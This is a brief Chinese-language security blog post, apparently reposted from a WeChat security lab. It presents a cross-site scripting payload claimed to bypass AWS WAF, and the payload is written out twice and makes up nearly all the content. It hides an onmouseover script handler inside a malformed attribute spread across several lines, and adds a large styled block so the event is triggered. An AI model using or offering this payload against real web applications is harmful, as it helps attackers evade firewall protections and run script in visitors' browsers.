AWS WAF bypass

Khan安全团队

发布于 2023-02-23 14:39:55

1.3K00

代码可运行

运行总次数：0

代码可运行

对所有标签都有效，甚至是元标签，但不适用input:hidden

<xhzeem attr="

---

x="=='='onmouseover=confirm`xss` style="display:block;width:1000px;height:1000px;background:red">

---

">

<xhzeem  attr="
--- 
x="=='='onmouseover=confirm`xss` style="display:block;width:1000px;height:1000px;background:red">
--- 
">

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2023-01-22，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全攻防实验室微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度